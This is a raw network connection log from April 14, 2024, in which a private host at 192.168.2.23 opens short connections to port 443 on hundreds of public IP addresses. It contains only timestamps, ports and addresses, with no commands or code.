Apr 14, 2024 03:59:52.063443899 CEST	443	2135	178.245.85.105	192.168.2.23
Apr 14, 2024 03:59:52.063432932 CEST	2135	443	192.168.2.23	118.12.214.215
Apr 14, 2024 03:59:52.063441992 CEST	2135	443	192.168.2.23	5.77.58.207
Apr 14, 2024 03:59:52.063441992 CEST	2135	443	192.168.2.23	210.141.110.6
Apr 14, 2024 03:59:52.063441992 CEST	2135	443	192.168.2.23	148.174.121.21
Apr 14, 2024 03:59:52.063441992 CEST	2135	443	192.168.2.23	42.190.36.108
Apr 14, 2024 03:59:52.063452005 CEST	2135	443	192.168.2.23	178.181.207.54
Apr 14, 2024 03:59:52.063452005 CEST	443	2135	109.200.61.86	192.168.2.23
Apr 14, 2024 03:59:52.063452005 CEST	2135	443	192.168.2.23	37.7.65.226
Apr 14, 2024 03:59:52.063452005 CEST	2135	443	192.168.2.23	109.5.204.137
Apr 14, 2024 03:59:52.063452959 CEST	2135	443	192.168.2.23	148.198.164.204
Apr 14, 2024 03:59:52.063452959 CEST	443	2135	5.2.205.197	192.168.2.23
Apr 14, 2024 03:59:52.063452959 CEST	2135	443	192.168.2.23	79.25.136.103
Apr 14, 2024 03:59:52.063456059 CEST	443	2135	123.110.3.248	192.168.2.23
Apr 14, 2024 03:59:52.063452959 CEST	2135	443	192.168.2.23	148.173.112.143
Apr 14, 2024 03:59:52.063453913 CEST	443	2135	109.149.121.47	192.168.2.23
Apr 14, 2024 03:59:52.063452959 CEST	2135	443	192.168.2.23	148.119.233.145
Apr 14, 2024 03:59:52.063462973 CEST	443	2135	109.225.151.70	192.168.2.23
Apr 14, 2024 03:59:52.063463926 CEST	443	2135	5.48.76.242	192.168.2.23
Apr 14, 2024 03:59:52.063465118 CEST	443	2135	123.94.24.51	192.168.2.23
Apr 14, 2024 03:59:52.063467026 CEST	443	2135	5.77.58.207	192.168.2.23
Apr 14, 2024 03:59:52.063467026 CEST	443	2135	178.181.207.54	192.168.2.23
Apr 14, 2024 03:59:52.063467979 CEST	443	2135	148.198.164.204	192.168.2.23
Apr 14, 2024 03:59:52.063472033 CEST	443	2135	148.27.117.146	192.168.2.23
Apr 14, 2024 03:59:52.063472986 CEST	443	2135	42.239.24.217	192.168.2.23
Apr 14, 2024 03:59:52.063473940 CEST	443	2135	118.149.91.9	192.168.2.23
Apr 14, 2024 03:59:52.063474894 CEST	443	2135	79.25.136.103	192.168.2.23
Apr 14, 2024 03:59:52.063476086 CEST	443	2135	117.252.134.251	192.168.2.23
Apr 14, 2024 03:59:52.063477993 CEST	2135	443	192.168.2.23	178.50.11.140
Apr 14, 2024 03:59:52.063477993 CEST	2135	443	192.168.2.23	94.48.248.180
Apr 14, 2024 03:59:52.063481092 CEST	443	2135	118.89.12.163	192.168.2.23
Apr 14, 2024 03:59:52.063477993 CEST	2135	443	192.168.2.23	42.66.205.75
Apr 14, 2024 03:59:52.063482046 CEST	2135	443	192.168.2.23	210.250.251.84
Apr 14, 2024 03:59:52.063477993 CEST	2135	443	192.168.2.23	202.113.167.99
Apr 14, 2024 03:59:52.063478947 CEST	443	2135	42.166.221.129	192.168.2.23
Apr 14, 2024 03:59:52.063477993 CEST	2135	443	192.168.2.23	118.194.104.35
Apr 14, 2024 03:59:52.063483953 CEST	2135	443	192.168.2.23	2.112.142.230
Apr 14, 2024 03:59:52.063486099 CEST	2135	443	192.168.2.23	148.198.164.204
Apr 14, 2024 03:59:52.063483953 CEST	2135	443	192.168.2.23	178.64.4.182
Apr 14, 2024 03:59:52.063486099 CEST	2135	443	192.168.2.23	212.17.161.2
Apr 14, 2024 03:59:52.063487053 CEST	443	2135	118.12.214.215	192.168.2.23
Apr 14, 2024 03:59:52.063488960 CEST	443	2135	123.51.89.240	192.168.2.23
Apr 14, 2024 03:59:52.063489914 CEST	443	2135	148.174.121.21	192.168.2.23
Apr 14, 2024 03:59:52.063489914 CEST	443	2135	148.173.112.143	192.168.2.23
Apr 14, 2024 03:59:52.063491106 CEST	443	2135	210.141.110.6	192.168.2.23
Apr 14, 2024 03:59:52.063493967 CEST	443	2135	178.50.11.140	192.168.2.23
Apr 14, 2024 03:59:52.063496113 CEST	443	2135	37.7.65.226	192.168.2.23
Apr 14, 2024 03:59:52.063498974 CEST	443	2135	94.48.248.180	192.168.2.23
Apr 14, 2024 03:59:52.063499928 CEST	2135	443	192.168.2.23	178.245.85.105
Apr 14, 2024 03:59:52.063499928 CEST	2135	443	192.168.2.23	109.200.61.86
Apr 14, 2024 03:59:52.063500881 CEST	443	2135	148.235.119.14	192.168.2.23
Apr 14, 2024 03:59:52.063500881 CEST	443	2135	109.5.204.137	192.168.2.23
Apr 14, 2024 03:59:52.063503027 CEST	2135	443	192.168.2.23	117.74.67.45
Apr 14, 2024 03:59:52.063503027 CEST	2135	443	192.168.2.23	5.77.58.207
Apr 14, 2024 03:59:52.063504934 CEST	2135	443	192.168.2.23	5.2.205.197
Apr 14, 2024 03:59:52.063505888 CEST	2135	443	192.168.2.23	123.110.3.248
Apr 14, 2024 03:59:52.063508987 CEST	2135	443	192.168.2.23	42.18.41.98
Apr 14, 2024 03:59:52.063508987 CEST	2135	443	192.168.2.23	109.149.121.47
Apr 14, 2024 03:59:52.063508987 CEST	2135	443	192.168.2.23	5.48.76.242
Apr 14, 2024 03:59:52.063513041 CEST	2135	443	192.168.2.23	148.27.117.146
Apr 14, 2024 03:59:52.063513041 CEST	2135	443	192.168.2.23	42.239.24.217
Apr 14, 2024 03:59:52.063513994 CEST	2135	443	192.168.2.23	109.225.151.70
Apr 14, 2024 03:59:52.063513994 CEST	2135	443	192.168.2.23	123.94.24.51
Apr 14, 2024 03:59:52.063514948 CEST	2135	443	192.168.2.23	79.25.136.103
Apr 14, 2024 03:59:52.063515902 CEST	2135	443	192.168.2.23	79.78.200.196
Apr 14, 2024 03:59:52.063515902 CEST	2135	443	192.168.2.23	79.34.52.179
Apr 14, 2024 03:59:52.063515902 CEST	2135	443	192.168.2.23	178.181.207.54
Apr 14, 2024 03:59:52.063519955 CEST	2135	443	192.168.2.23	148.173.112.143
Apr 14, 2024 03:59:52.063522100 CEST	2135	443	192.168.2.23	42.166.221.129
Apr 14, 2024 03:59:52.063522100 CEST	2135	443	192.168.2.23	118.12.214.215
Apr 14, 2024 03:59:52.063527107 CEST	2135	443	192.168.2.23	210.141.110.6
Apr 14, 2024 03:59:52.063529968 CEST	2135	443	192.168.2.23	178.50.11.140
Apr 14, 2024 03:59:52.063529968 CEST	2135	443	192.168.2.23	117.252.134.251
Apr 14, 2024 03:59:52.063529968 CEST	2135	443	192.168.2.23	118.149.91.9
Apr 14, 2024 03:59:52.063529968 CEST	2135	443	192.168.2.23	123.51.89.240
Apr 14, 2024 03:59:52.063529968 CEST	2135	443	192.168.2.23	94.48.248.180
Apr 14, 2024 03:59:52.063535929 CEST	2135	443	192.168.2.23	109.5.204.137
Apr 14, 2024 03:59:52.063536882 CEST	2135	443	192.168.2.23	118.89.12.163
Apr 14, 2024 03:59:52.063539028 CEST	2135	443	192.168.2.23	148.174.121.21
Apr 14, 2024 03:59:52.063539982 CEST	2135	443	192.168.2.23	148.235.119.14
Apr 14, 2024 03:59:52.063544989 CEST	2135	443	192.168.2.23	37.7.65.226
Apr 14, 2024 03:59:52.063831091 CEST	58904	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.063841105 CEST	443	58904	117.152.5.2	192.168.2.23
Apr 14, 2024 03:59:52.063879013 CEST	58904	443	192.168.2.23	117.152.5.2
Apr 14, 2024 03:59:52.063891888 CEST	56426	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.063900948 CEST	443	56426	148.57.187.216	192.168.2.23
Apr 14, 2024 03:59:52.063978910 CEST	51764	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.063978910 CEST	52160	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.063980103 CEST	46122	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.063990116 CEST	443	46122	94.190.168.5	192.168.2.23
Apr 14, 2024 03:59:52.063990116 CEST	443	51764	37.149.242.184	192.168.2.23
Apr 14, 2024 03:59:52.063992023 CEST	59856	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.063992023 CEST	56426	443	192.168.2.23	148.57.187.216
Apr 14, 2024 03:59:52.063992023 CEST	52212	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.063999891 CEST	443	52160	118.172.41.124	192.168.2.23
Apr 14, 2024 03:59:52.064002991 CEST	443	59856	2.147.10.246	192.168.2.23
Apr 14, 2024 03:59:52.064013004 CEST	49272	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.064011097 CEST	44104	443	192.168.2.23	109.196.244.129
Apr 14, 2024 03:59:52.064014912 CEST	443	52212	210.237.21.142	192.168.2.23
Apr 14, 2024 03:59:52.064011097 CEST	42680	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.064023018 CEST	443	44104	109.196.244.129	192.168.2.23
Apr 14, 2024 03:59:52.064028978 CEST	443	49272	212.159.156.91	192.168.2.23
Apr 14, 2024 03:59:52.064028978 CEST	46122	443	192.168.2.23	94.190.168.5
Apr 14, 2024 03:59:52.064033031 CEST	59856	443	192.168.2.23	2.147.10.246
Apr 14, 2024 03:59:52.064035892 CEST	443	42680	212.253.210.109	192.168.2.23
Apr 14, 2024 03:59:52.064045906 CEST	52212	443	192.168.2.23	210.237.21.142
Apr 14, 2024 03:59:52.064048052 CEST	51764	443	192.168.2.23	37.149.242.184
Apr 14, 2024 03:59:52.064048052 CEST	52160	443	192.168.2.23	118.172.41.124
Apr 14, 2024 03:59:52.064048052 CEST	44104	443	192.168.2.23	109.196.244.129
Apr 14, 2024 03:59:52.064054966 CEST	49272	443	192.168.2.23	212.159.156.91
Apr 14, 2024 03:59:52.064064026 CEST	42680	443	192.168.2.23	212.253.210.109
Apr 14, 2024 03:59:52.064075947 CEST	56506	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.064084053 CEST	443	56506	94.21.126.80	192.168.2.23
Apr 14, 2024 03:59:52.064095020 CEST	57766	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.064100981 CEST	443	57766	42.45.213.158	192.168.2.23
Apr 14, 2024 03:59:52.064106941 CEST	43822	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.064114094 CEST	443	43822	202.72.202.97	192.168.2.23
Apr 14, 2024 03:59:52.064114094 CEST	56506	443	192.168.2.23	94.21.126.80
Apr 14, 2024 03:59:52.064129114 CEST	57766	443	192.168.2.23	42.45.213.158
Apr 14, 2024 03:59:52.064141035 CEST	43822	443	192.168.2.23	202.72.202.97
Apr 14, 2024 03:59:52.064141035 CEST	41838	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.064152956 CEST	48274	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.064157963 CEST	443	41838	178.120.28.99	192.168.2.23
Apr 14, 2024 03:59:52.064160109 CEST	443	48274	212.1.197.59	192.168.2.23
Apr 14, 2024 03:59:52.064167023 CEST	33138	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.064177036 CEST	443	33138	2.117.171.24	192.168.2.23
Apr 14, 2024 03:59:52.064183950 CEST	48538	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.064188004 CEST	48274	443	192.168.2.23	212.1.197.59
Apr 14, 2024 03:59:52.064193010 CEST	443	48538	148.57.18.34	192.168.2.23
Apr 14, 2024 03:59:52.064198017 CEST	41838	443	192.168.2.23	178.120.28.99
Apr 14, 2024 03:59:52.064201117 CEST	47044	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.064212084 CEST	443	47044	109.160.197.44	192.168.2.23
Apr 14, 2024 03:59:52.064225912 CEST	48538	443	192.168.2.23	148.57.18.34
Apr 14, 2024 03:59:52.064233065 CEST	33138	443	192.168.2.23	2.117.171.24
Apr 14, 2024 03:59:52.064243078 CEST	46722	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.064249039 CEST	443	46722	37.58.194.208	192.168.2.23
Apr 14, 2024 03:59:52.064251900 CEST	47044	443	192.168.2.23	109.160.197.44
Apr 14, 2024 03:59:52.064259052 CEST	44488	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.064265966 CEST	443	44488	210.186.101.74	192.168.2.23
Apr 14, 2024 03:59:52.064275980 CEST	46722	443	192.168.2.23	37.58.194.208
Apr 14, 2024 03:59:52.064291000 CEST	53840	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.064291954 CEST	44488	443	192.168.2.23	210.186.101.74
Apr 14, 2024 03:59:52.064297915 CEST	443	53840	109.195.246.175	192.168.2.23
Apr 14, 2024 03:59:52.064363956 CEST	57968	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.064373016 CEST	443	57968	117.172.55.223	192.168.2.23
Apr 14, 2024 03:59:52.064408064 CEST	57968	443	192.168.2.23	117.172.55.223
Apr 14, 2024 03:59:52.064441919 CEST	53840	443	192.168.2.23	109.195.246.175
Apr 14, 2024 03:59:52.064445019 CEST	38046	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.064452887 CEST	443	38046	79.155.242.16	192.168.2.23
Apr 14, 2024 03:59:52.064459085 CEST	38866	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.064470053 CEST	443	38866	94.177.146.224	192.168.2.23
Apr 14, 2024 03:59:52.064476967 CEST	56716	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.064479113 CEST	38046	443	192.168.2.23	79.155.242.16
Apr 14, 2024 03:59:52.064485073 CEST	443	56716	148.132.221.74	192.168.2.23
Apr 14, 2024 03:59:52.064496994 CEST	38866	443	192.168.2.23	94.177.146.224
Apr 14, 2024 03:59:52.064497948 CEST	49328	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.064507008 CEST	443	49328	123.172.114.183	192.168.2.23
Apr 14, 2024 03:59:52.064513922 CEST	56716	443	192.168.2.23	148.132.221.74
Apr 14, 2024 03:59:52.064524889 CEST	56462	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.064532995 CEST	443	56462	148.93.101.77	192.168.2.23
Apr 14, 2024 03:59:52.064538002 CEST	49328	443	192.168.2.23	123.172.114.183
Apr 14, 2024 03:59:52.064883947 CEST	56462	443	192.168.2.23	148.93.101.77
Apr 14, 2024 03:59:52.064950943 CEST	59758	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.064959049 CEST	443	59758	212.42.201.199	192.168.2.23
Apr 14, 2024 03:59:52.064960957 CEST	50644	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.064960957 CEST	52512	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.064961910 CEST	60108	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.064968109 CEST	443	50644	117.144.110.126	192.168.2.23
Apr 14, 2024 03:59:52.064970970 CEST	443	52512	148.59.237.9	192.168.2.23
Apr 14, 2024 03:59:52.064975023 CEST	38108	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.064977884 CEST	443	60108	5.224.7.158	192.168.2.23
Apr 14, 2024 03:59:52.064980984 CEST	443	38108	212.232.115.244	192.168.2.23
Apr 14, 2024 03:59:52.064991951 CEST	38368	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.064996004 CEST	59758	443	192.168.2.23	212.42.201.199
Apr 14, 2024 03:59:52.064997911 CEST	443	38368	94.4.184.1	192.168.2.23
Apr 14, 2024 03:59:52.064997911 CEST	60108	443	192.168.2.23	5.224.7.158
Apr 14, 2024 03:59:52.065002918 CEST	52512	443	192.168.2.23	148.59.237.9
Apr 14, 2024 03:59:52.065006018 CEST	38108	443	192.168.2.23	212.232.115.244
Apr 14, 2024 03:59:52.065012932 CEST	50644	443	192.168.2.23	117.144.110.126
Apr 14, 2024 03:59:52.065022945 CEST	33354	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.065023899 CEST	38368	443	192.168.2.23	94.4.184.1
Apr 14, 2024 03:59:52.065028906 CEST	443	33354	37.153.191.34	192.168.2.23
Apr 14, 2024 03:59:52.065031052 CEST	49228	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.065038919 CEST	443	49228	123.64.141.15	192.168.2.23
Apr 14, 2024 03:59:52.065038919 CEST	48366	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.065046072 CEST	443	48366	5.219.77.22	192.168.2.23
Apr 14, 2024 03:59:52.065061092 CEST	33354	443	192.168.2.23	37.153.191.34
Apr 14, 2024 03:59:52.065063000 CEST	44718	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.065071106 CEST	49228	443	192.168.2.23	123.64.141.15
Apr 14, 2024 03:59:52.065072060 CEST	443	44718	123.181.77.188	192.168.2.23
Apr 14, 2024 03:59:52.065074921 CEST	48366	443	192.168.2.23	5.219.77.22
Apr 14, 2024 03:59:52.065093994 CEST	59832	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.065103054 CEST	44718	443	192.168.2.23	123.181.77.188
Apr 14, 2024 03:59:52.065104008 CEST	443	59832	178.107.46.185	192.168.2.23
Apr 14, 2024 03:59:52.065119982 CEST	42018	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.065126896 CEST	443	42018	94.194.235.58	192.168.2.23
Apr 14, 2024 03:59:52.065131903 CEST	59832	443	192.168.2.23	178.107.46.185
Apr 14, 2024 03:59:52.065201044 CEST	35690	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.065206051 CEST	443	35690	2.69.219.10	192.168.2.23
Apr 14, 2024 03:59:52.065207958 CEST	42018	443	192.168.2.23	94.194.235.58
Apr 14, 2024 03:59:52.065208912 CEST	43488	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.065215111 CEST	443	43488	123.132.230.7	192.168.2.23
Apr 14, 2024 03:59:52.065573931 CEST	35690	443	192.168.2.23	2.69.219.10
Apr 14, 2024 03:59:52.065577984 CEST	43488	443	192.168.2.23	123.132.230.7
Apr 14, 2024 03:59:52.065623999 CEST	48468	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.065630913 CEST	443	48468	210.155.51.199	192.168.2.23
Apr 14, 2024 03:59:52.065638065 CEST	50212	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.065654039 CEST	35050	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.065655947 CEST	443	50212	123.10.114.83	192.168.2.23
Apr 14, 2024 03:59:52.065661907 CEST	443	35050	2.40.195.150	192.168.2.23
Apr 14, 2024 03:59:52.065666914 CEST	48468	443	192.168.2.23	210.155.51.199
Apr 14, 2024 03:59:52.065676928 CEST	51448	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.065684080 CEST	443	51448	42.1.72.106	192.168.2.23
Apr 14, 2024 03:59:52.065685987 CEST	50212	443	192.168.2.23	123.10.114.83
Apr 14, 2024 03:59:52.065689087 CEST	35050	443	192.168.2.23	2.40.195.150
Apr 14, 2024 03:59:52.065702915 CEST	46814	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.065710068 CEST	443	46814	212.194.65.103	192.168.2.23
Apr 14, 2024 03:59:52.065715075 CEST	51448	443	192.168.2.23	42.1.72.106
Apr 14, 2024 03:59:52.065716982 CEST	57956	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.065731049 CEST	58298	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.065733910 CEST	443	57956	210.170.247.216	192.168.2.23
Apr 14, 2024 03:59:52.065738916 CEST	443	58298	212.246.96.185	192.168.2.23
Apr 14, 2024 03:59:52.065804958 CEST	35654	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.065804958 CEST	58472	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.065807104 CEST	57956	443	192.168.2.23	210.170.247.216
Apr 14, 2024 03:59:52.065813065 CEST	443	35654	109.212.58.118	192.168.2.23
Apr 14, 2024 03:59:52.065813065 CEST	49032	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.065814018 CEST	46814	443	192.168.2.23	212.194.65.103
Apr 14, 2024 03:59:52.065813065 CEST	58298	443	192.168.2.23	212.246.96.185
Apr 14, 2024 03:59:52.065815926 CEST	443	58472	212.247.201.128	192.168.2.23
Apr 14, 2024 03:59:52.065823078 CEST	443	49032	5.4.132.142	192.168.2.23
Apr 14, 2024 03:59:52.065824032 CEST	43518	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.065829039 CEST	443	43518	202.98.254.22	192.168.2.23
Apr 14, 2024 03:59:52.065831900 CEST	33828	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.065831900 CEST	50038	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.065843105 CEST	443	33828	210.173.203.37	192.168.2.23
Apr 14, 2024 03:59:52.065844059 CEST	35654	443	192.168.2.23	109.212.58.118
Apr 14, 2024 03:59:52.065844059 CEST	58472	443	192.168.2.23	212.247.201.128
Apr 14, 2024 03:59:52.065846920 CEST	49032	443	192.168.2.23	5.4.132.142
Apr 14, 2024 03:59:52.065855026 CEST	443	50038	212.5.243.73	192.168.2.23
Apr 14, 2024 03:59:52.065859079 CEST	43518	443	192.168.2.23	202.98.254.22
Apr 14, 2024 03:59:52.065859079 CEST	54642	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.065869093 CEST	443	54642	42.108.237.51	192.168.2.23
Apr 14, 2024 03:59:52.065875053 CEST	33828	443	192.168.2.23	210.173.203.37
Apr 14, 2024 03:59:52.065890074 CEST	47248	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.065890074 CEST	50038	443	192.168.2.23	212.5.243.73
Apr 14, 2024 03:59:52.065898895 CEST	443	47248	123.148.92.129	192.168.2.23
Apr 14, 2024 03:59:52.065900087 CEST	54642	443	192.168.2.23	42.108.237.51
Apr 14, 2024 03:59:52.065902948 CEST	48478	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.065908909 CEST	443	48478	42.131.82.165	192.168.2.23
Apr 14, 2024 03:59:52.065927029 CEST	47248	443	192.168.2.23	123.148.92.129
Apr 14, 2024 03:59:52.065927982 CEST	33412	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.065934896 CEST	443	33412	148.134.149.44	192.168.2.23
Apr 14, 2024 03:59:52.065963030 CEST	48478	443	192.168.2.23	42.131.82.165
Apr 14, 2024 03:59:52.065963030 CEST	33412	443	192.168.2.23	148.134.149.44
Apr 14, 2024 03:59:52.065965891 CEST	53278	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.065973043 CEST	443	53278	212.67.150.177	192.168.2.23
Apr 14, 2024 03:59:52.065987110 CEST	42310	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.065996885 CEST	443	42310	210.178.32.26	192.168.2.23
Apr 14, 2024 03:59:52.066001892 CEST	53278	443	192.168.2.23	212.67.150.177
Apr 14, 2024 03:59:52.066008091 CEST	57432	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.066016912 CEST	443	57432	37.208.92.62	192.168.2.23
Apr 14, 2024 03:59:52.066028118 CEST	36558	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.066028118 CEST	42310	443	192.168.2.23	210.178.32.26
Apr 14, 2024 03:59:52.066040039 CEST	443	36558	202.186.229.224	192.168.2.23
Apr 14, 2024 03:59:52.066060066 CEST	57432	443	192.168.2.23	37.208.92.62
Apr 14, 2024 03:59:52.066075087 CEST	36558	443	192.168.2.23	202.186.229.224
Apr 14, 2024 03:59:52.080996037 CEST	38708	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.081007957 CEST	443	38708	117.44.172.11	192.168.2.23
Apr 14, 2024 03:59:52.081027031 CEST	32910	443	192.168.2.23	109.209.208.123
Apr 14, 2024 03:59:52.081042051 CEST	443	32910	109.209.208.123	192.168.2.23
Apr 14, 2024 03:59:52.081043959 CEST	42414	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.081049919 CEST	38708	443	192.168.2.23	117.44.172.11
Apr 14, 2024 03:59:52.081053972 CEST	60522	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.081065893 CEST	443	60522	37.246.18.42	192.168.2.23
Apr 14, 2024 03:59:52.081072092 CEST	32910	443	192.168.2.23	109.209.208.123
Apr 14, 2024 03:59:52.081073046 CEST	443	42414	123.192.203.12	192.168.2.23
Apr 14, 2024 03:59:52.081091881 CEST	41100	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.081099987 CEST	52104	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.081099987 CEST	443	41100	148.145.81.162	192.168.2.23
Apr 14, 2024 03:59:52.081101894 CEST	60522	443	192.168.2.23	37.246.18.42
Apr 14, 2024 03:59:52.081109047 CEST	443	52104	123.44.124.111	192.168.2.23
Apr 14, 2024 03:59:52.081115007 CEST	42414	443	192.168.2.23	123.192.203.12
Apr 14, 2024 03:59:52.081118107 CEST	37338	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.081125975 CEST	443	37338	42.80.43.253	192.168.2.23
Apr 14, 2024 03:59:52.081134081 CEST	52104	443	192.168.2.23	123.44.124.111
Apr 14, 2024 03:59:52.081137896 CEST	41100	443	192.168.2.23	148.145.81.162
Apr 14, 2024 03:59:52.081227064 CEST	37338	443	192.168.2.23	42.80.43.253
Apr 14, 2024 03:59:52.081238031 CEST	45520	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.081240892 CEST	56504	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.081239939 CEST	54322	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.081240892 CEST	60428	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.081240892 CEST	50282	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.081248999 CEST	443	45520	94.24.102.92	192.168.2.23
Apr 14, 2024 03:59:52.081254959 CEST	443	54322	5.110.248.6	192.168.2.23
Apr 14, 2024 03:59:52.081254959 CEST	443	56504	148.92.249.254	192.168.2.23
Apr 14, 2024 03:59:52.081263065 CEST	39582	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.081269979 CEST	443	50282	123.81.216.183	192.168.2.23
Apr 14, 2024 03:59:52.081273079 CEST	443	39582	5.9.40.13	192.168.2.23
Apr 14, 2024 03:59:52.081274986 CEST	443	60428	42.205.235.67	192.168.2.23
Apr 14, 2024 03:59:52.081275940 CEST	39810	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.081288099 CEST	54322	443	192.168.2.23	5.110.248.6
Apr 14, 2024 03:59:52.081289053 CEST	45520	443	192.168.2.23	94.24.102.92
Apr 14, 2024 03:59:52.081301928 CEST	56504	443	192.168.2.23	148.92.249.254
Apr 14, 2024 03:59:52.081301928 CEST	50282	443	192.168.2.23	123.81.216.183
Apr 14, 2024 03:59:52.081304073 CEST	60428	443	192.168.2.23	42.205.235.67
Apr 14, 2024 03:59:52.081306934 CEST	443	39810	2.152.72.207	192.168.2.23
Apr 14, 2024 03:59:52.081305981 CEST	40778	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.081310987 CEST	39582	443	192.168.2.23	5.9.40.13
Apr 14, 2024 03:59:52.081324100 CEST	49900	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.081331015 CEST	443	49900	5.92.99.46	192.168.2.23
Apr 14, 2024 03:59:52.081338882 CEST	443	40778	210.187.162.73	192.168.2.23
Apr 14, 2024 03:59:52.081341982 CEST	39810	443	192.168.2.23	2.152.72.207
Apr 14, 2024 03:59:52.081343889 CEST	36804	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.081351042 CEST	443	36804	118.180.110.42	192.168.2.23
Apr 14, 2024 03:59:52.081362963 CEST	49900	443	192.168.2.23	5.92.99.46
Apr 14, 2024 03:59:52.081367970 CEST	47800	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.081367970 CEST	40778	443	192.168.2.23	210.187.162.73
Apr 14, 2024 03:59:52.081373930 CEST	36804	443	192.168.2.23	118.180.110.42
Apr 14, 2024 03:59:52.081377983 CEST	443	47800	202.181.132.31	192.168.2.23
Apr 14, 2024 03:59:52.081393003 CEST	59286	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.081398964 CEST	443	59286	37.19.188.209	192.168.2.23
Apr 14, 2024 03:59:52.081412077 CEST	47800	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.081422091 CEST	51960	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.081428051 CEST	59286	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.081429958 CEST	443	51960	178.110.229.146	192.168.2.23
Apr 14, 2024 03:59:52.081439018 CEST	59744	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.081454039 CEST	443	59744	123.34.181.137	192.168.2.23
Apr 14, 2024 03:59:52.081465006 CEST	51960	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.081468105 CEST	37992	443	192.168.2.23	42.249.81.52
Apr 14, 2024 03:59:52.081475019 CEST	443	37992	42.249.81.52	192.168.2.23
Apr 14, 2024 03:59:52.081520081 CEST	59744	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.081523895 CEST	55428	443	192.168.2.23	202.176.161.27
